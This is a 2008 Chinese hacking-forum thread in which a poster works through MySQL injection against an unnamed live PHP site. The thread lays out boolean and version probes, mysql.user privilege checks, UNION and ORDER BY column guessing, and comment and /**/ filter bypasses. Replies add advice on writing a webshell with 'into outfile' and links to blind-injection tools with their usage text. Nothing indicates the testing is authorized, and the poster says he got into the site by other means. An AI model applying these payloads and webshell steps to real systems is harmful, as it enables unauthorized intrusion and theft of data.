Board logo

标题: [讨论]奇怪的php注射点 [打印本页]

作者: 虚竹    时间: 2008-7-23 08:37     标题: [讨论]奇怪的php注射点

[讨论]奇怪的php注射点
议题作者:唐不狐
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

在某web系统后台检测的时候获得一个注射点,情况如下:

.php?vm=30'
报错,得到web路径 /*(窃喜ing)

.php?vm=30 and 1=1
返回正常

.php?vm=30 and 1=2
页面异常

----------------到此判断可注射----------------------------------

接下来

.php?vm=30 and ord(mid(version(),1,1))>51
返回正常,说明数据库版本大于4.0,支持union查询

.php?vm=30 and (select count(*) from mysql.user)>0
正常,嘿嘿,有权限喔.

接着用C4经典注射证实如下:mysql版本4.1.2,连接用户是root,库名也出来了


--------------------------接下来就郁闷了------------------------------------------
.php?vm=30/*buhu
返回错误,晕猪,难道不能用/*注释?
.php?vm=30#buhu
返回正常,可以用#注释

接下来常规手法猜字段长度
.php?vm=30 order by 10  
报错,日,字段小于10?其实我估算了下,字段绝对在10以上的.暂且信它,继续...

.php?vm=30 order by 5 返回错误
.php?vm=30 order by 1 返回错误
.php?vm=30 order by 0 返回错误,彻底无语 (加#注释一样)

.php?vm=30 and 1=2 union select 1,2,3...... 咱就干到110,还是报错.不可能哇
换个方式
.php?vm=30 and 1=2 union select char(97),char(97),char(97)....
依然报错
---------------------------虾米意思?--------------------------------------------------

请大大们指教! thx!
1 什么原因?
2 如何继续?
帖子145 精华2 积分574 阅读权限50 性别男 来自china 在线时间107 小时 注册时间2005-9-27 最后登录2008-7-21 查看个人网站
查看详细资料TOP 让女孩一夜变的更有女人味


wyzhack
晶莹剔透§烈日灼然
作者: 神童    时间: 2008-7-23 08:37

注意返回的错误信息 有的注入点 不管你的语句是否被正常执行 都会返回错误的~ 不过正常执行和错误的语句 返回的信息是不一样的。  比如说 如果你加上 and 1=1 返回的错误是 A
你加入and 1=2 返回的错误是 B 那你就自己想想哪个语句正常执行了吧。 呃 以上全是我的个人观点。 大大们看了不要笑我哈
帖子14 精华0 积分51 阅读权限40 性别男 在线时间39 小时 注册时间2006-8-11 最后登录2007-11-22 查看详细资料TOP 软件项目外包

唐不狐
很黃很暴力

晶莹剔透§烈日灼然
作者: niufen    时间: 2008-7-23 08:37

感谢回复
报错页面都是一样的
即为加 单引号 后的页面.
我很仔细的观察过
帖子145 精华2 积分574 阅读权限50 性别男 来自china 在线时间107 小时 注册时间2005-9-27 最后登录2008-7-21 查看个人网站
查看详细资料TOP 您知道您年薪应是多少?

hackest
运维管理组

作者: 牛屎仔    时间: 2008-7-23 08:37

php?vm=30/**/order/**/by/**/5
不知道改成这样能不能注入哦 My Blog:http://www.hackest.cn/ [H.S.T]:http://www.hackm.com/

帖子882 精华20 积分5849 阅读权限150 性别男 来自广东 在线时间941 小时 注册时间2006-10-12 最后登录2008-3-3 查看个人网站
查看详细资料TOP

唐不狐
很黃很暴力

晶莹剔透§烈日灼然
作者: claire87    时间: 2008-7-23 08:37

呵呵 这个是常规的手法嘛
c4和 hdsi3 都有这种方式的,我自然也试了.谢谢
帖子145 精华2 积分574 阅读权限50 性别男 来自china 在线时间107 小时 注册时间2005-9-27 最后登录2008-7-21 查看个人网站
查看详细资料TOP 让女孩一夜变的更有女人味

hackest
运维管理组

作者: jimmy    时间: 2008-7-23 08:37

刚才搞一个PHP注入点查询的时候居然提示“存在非法操作!!”  My Blog:http://www.hackest.cn/ [H.S.T]:http://www.hackm.com/

帖子882 精华20 积分5849 阅读权限150 性别男 来自广东 在线时间941 小时 注册时间2006-10-12 最后登录2008-3-3 查看个人网站
查看详细资料TOP 良辰择日,预测咨询,公司改名,权威易经

唐不狐
很黃很暴力

晶莹剔透§烈日灼然
作者: 6G150    时间: 2008-7-23 08:37

如果是弹出 alert "非法操作",那是在脚本里做了对注射用到的关键字进行监控处理,并利用script弹出警告对话框.

另外一种,即对所有出错页面进行自定义.当然那通常不会是弹出型.

继续期待我的问题得到解决
帖子145 精华2 积分574 阅读权限50 性别男 来自china 在线时间107 小时 注册时间2005-9-27 最后登录2008-7-21 查看个人网站
查看详细资料TOP 让女孩一夜变的更有女人味

hackest
运维管理组

作者: 珉头    时间: 2008-7-23 08:37

不是弹出的,呵呵
你的问题我也解决不了  My Blog:http://www.hackest.cn/ [H.S.T]:http://www.hackm.com/

帖子882 精华20 积分5849 阅读权限150 性别男 来自广东 在线时间941 小时 注册时间2006-10-12 最后登录2008-3-3 查看个人网站
查看详细资料TOP

heiye88
晶莹剔透§烈日灼然
作者: topboy2000    时间: 2008-7-23 08:37

C4这个文章还是工具。哪儿有下。另外你测试用海洋的那个HYSI看看。这种情况很多的。不叫奇怪。只是大家都没平下心来解决。最好找个URL大家都去测试测试。。继续讨论。。
帖子64 精华0 积分239 阅读权限40 在线时间124 小时 注册时间2007-1-25 最后登录2008-7-18 查看详细资料TOP

heiye88
晶莹剔透§烈日灼然
作者: 姑爺囝    时间: 2008-7-23 08:37

由于不能发帖。我再提个问题。 MYSQL注射得到ROOT和PASS。远程禁止连接。如何得到WEBSHELL。无后台。不能上传图片。。如何建表。。
帖子64 精华0 积分239 阅读权限40 在线时间124 小时 注册时间2007-1-25 最后登录2008-7-18 查看详细资料TOP

唐不狐
很黃很暴力

晶莹剔透§烈日灼然
作者: 泰兴行    时间: 2008-7-23 08:37

手工测试为主,几种常见的php注射工具也都试了下。

回楼上:
mysql+php注射 如果是root连接,可以试试 into outfile 导出一个shell
当然有两个前提
1。导出的目录需要有写权限 (找一个上传目录一般就有)
2。由于语句用到单引号,所以单引号被过滤那也不成功。详细可参考angel关于mysql注射导出webshell一文
帖子145 精华2 积分574 阅读权限50 性别男 来自china 在线时间107 小时 注册时间2005-9-27 最后登录2008-7-21 查看个人网站
查看详细资料TOP

唐不狐
很黃很暴力

晶莹剔透§烈日灼然
作者: xiezeshen66    时间: 2008-7-23 08:37

猜想是
php 字符型 magic_quotes_gpc=On
帖子145 精华2 积分574 阅读权限50 性别男 来自china 在线时间107 小时 注册时间2005-9-27 最后登录2008-7-21 查看个人网站
查看详细资料TOP

heiye88
晶莹剔透§烈日灼然
作者: tony999    时间: 2008-7-23 08:37

呵呵。。。那些基本情况都不行了。。肯定是ON了。。。另外如果是LINUX。如何爆路径或者猜路径的经验。。。TKS
帖子64 精华0 积分239 阅读权限40 在线时间124 小时 注册时间2007-1-25 最后登录2008-7-18 查看详细资料TOP

randy
荣誉会员

作者: biaofbi    时间: 2008-7-23 08:37

老外有个TOOL鸟。好像在MIRW0RM能下到 你注意一下 他们VIDEO那里 还有动画。那个可以帮到你 。BlackStorm...

帖子41 精华0 积分3174 阅读权限100 性别男 来自BlackStorm 在线时间68 小时 注册时间2005-6-1 最后登录2008-7-5 查看个人网站
查看详细资料TOP

stealthwalker
团队执行官

作者: Q仔    时间: 2008-7-23 08:38

#这个要urlencode的。提醒一下,估计LZ不会犯这种错误。俺是mika!别叫错了!俺的QQ:794773 http://hi.baidu.com/stealthwalker/ my private area ------------------------------------------------------------ <a href=http://hi.baidu.com/stealthwalker target=_blank></a>
帖子528 精华82 积分6163 阅读权限200 在线时间388 小时 注册时间2004-12-6 最后登录2008-7-22 查看详细资料TOP

唐不狐
很黃很暴力

晶莹剔透§烈日灼然
作者: lx319    时间: 2008-7-23 08:38

thx 楼上两位
# === %23 这个的确没犯错

14楼的大哥说video 有点印象,晚上回去再研究研究。
ps:幸运的是站点我已有其他途径下手 ^0^
帖子145 精华2 积分574 阅读权限50 性别男 来自china 在线时间107 小时 注册时间2005-9-27 最后登录2008-7-21 查看个人网站
查看详细资料TOP

hackest
运维管理组

作者: 枫枫    时间: 2008-7-23 08:38

弱弱的问一句,那个video找到的冒个泡哇  My Blog:http://www.hackest.cn/ [H.S.T]:http://www.hackm.com/

帖子882 精华20 积分5849 阅读权限150 性别男 来自广东 在线时间941 小时 注册时间2006-10-12 最后登录2008-3-3 查看个人网站
查看详细资料TOP

stealthwalker
团队执行官

作者: dahuzi3938    时间: 2008-7-23 08:38

video很简单,我很早就有收集。你可以直接下载:
http://str0ke213.tradebit.com/pub/8/19.flv
http://str0ke213.tradebit.com/pub/8/18.flv
一共两个,看一下就知道怎么用!
附上第一个video里提到的三个程序,是编译好的。
第二个video里提到的pl脚本也在压缩包内。
附件
sqlbftools-1.2.tar.gz (88 KB)
2007-4-9 19:11, 下载次数: 136
bsqlbf
bsqlbf.rar (5 KB)
2007-4-9 19:11, 下载次数: 65
bsqlbf.pl俺是mika!别叫错了!俺的QQ:794773 http://hi.baidu.com/stealthwalker/ my private area ------------------------------------------------------------ <a href=http://hi.baidu.com/stealthwalker target=_blank></a>
帖子528 精华82 积分6163 阅读权限200 在线时间388 小时 注册时间2004-12-6 最后登录2008-7-22 查看详细资料TOP

唐不狐
很黃很暴力

晶莹剔透§烈日灼然
作者: isuzu12626    时间: 2008-7-23 08:38

gui版的 get 功能无法使用
命令行下 get 参数能用,不过 读不出文件内容 提示是 不允许或文件不存在 (当然文件是肯定存在的)

手头也有另外一个 mysql注射不支持 union 时用到的 工具-mysqlget
引用:
Usage: mysqlget <options> <Thread>

Options:
  -t    Target injection URL include %s to replace. #注入点URL,"%s"为代码插入处
  -f    Remote file to load or Function to echo. #远程文件绝对路径或者要执行的函数
  -s    Local file to saved.If file exists,async append #保存到本地的路径,如果存在,将和远程文件进行同步下载,也就是断点继传,用于下载较大的文件
  -r    Range of remote file&#39;s offset or bytes #要下载的数据大小,可以是一个范围,如1-500也可以是一个数字,如200,程序自动判断是否断点续传
  -Mr    Match code case response right. #页面返回正常的匹配的内容,和下面的参数只选其一
  -Me    Match code case response error. #页面返回错误时匹配的内容
以上摘自readme,使用效果同楼上提供的工具.

问题是:为啥目标的mysql版本>4.0,却无法使用union查询呢?明明是root连接,却无法读取文件呢?甚至是web目录的文件
帖子145 精华2 积分574 阅读权限50 性别男 来自china 在线时间107 小时 注册时间2005-9-27 最后登录2008-7-21 查看个人网站
查看详细资料TOP

kj021320
荣誉会员

作者: n煲    时间: 2008-7-23 08:38

union 语句必须借助前面的select语句生存~!
那就代表前面的select 语句存在你不可以转为为数字的类型~ 有可能他查询的有包含blog类型等DNA编程--AI智能程式
帖子45 精华2 积分3317 阅读权限100 在线时间174 小时 注册时间2005-9-3 最后登录2008-3-26 查看个人网站
查看详细资料TOP

唐不狐
很黃很暴力

晶莹剔透§烈日灼然
作者: 平凡人    时间: 2008-7-23 08:38

感谢楼上的,至少让我能够想象到问题的一半。thx
帖子145 精华2 积分574 阅读权限50 性别男 来自china 在线时间107 小时 注册时间2005-9-27 最后登录2008-7-21 查看个人网站
查看详细资料TOP

zlty
晶莹剔透§烈日灼然
作者: 旧化王    时间: 2008-7-23 08:38

mysqlbf.exe能执行user(),那能不能执行select这些啊?
我测试不行,不知道是不是语法错误....
帖子16 精华0 积分59 阅读权限40 在线时间88 小时 注册时间2007-1-18 最后登录2008-7-10 查看详细资料TOP

皇子
晶莹剔透§烈日灼然
作者: joelau2004    时间: 2008-7-23 08:38

引用:
引用第11楼唐不狐于2007-04-07 09:02发表的 :
猜想是
php 字符型 magic_quotes_gpc=On
我靠 =on 就是不能使用&#39;而已 你哪个点只要是数字型的就基本没影响
你直接把#放在浏览器上 还执行个毛哦
换成%23就ok了啊

当然了 有时候会出现个别怪异情况
实在不行你试试 不要%20
直接id=1/**/and/**/1=1%23
这种情况比较少见 你试试
帖子61 精华0 积分206 阅读权限40 在线时间6 小时 注册时间2005-8-21 最后登录2008-6-20 查看详细资料TOP

唐不狐
很黃很暴力

晶莹剔透§烈日灼然
作者: pat1110    时间: 2008-7-23 08:38

原因是 union查询必须依赖前面的 select
假如前面的不是 select 而是 update呢?如计数器
帖子145 精华2 积分574 阅读权限50 性别男 来自china 在线时间107 小时 注册时间2005-9-27 最后登录2008-7-21 查看个人网站
查看详细资料TOP

jxsaqjh
晶莹剔透§烈日灼然




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2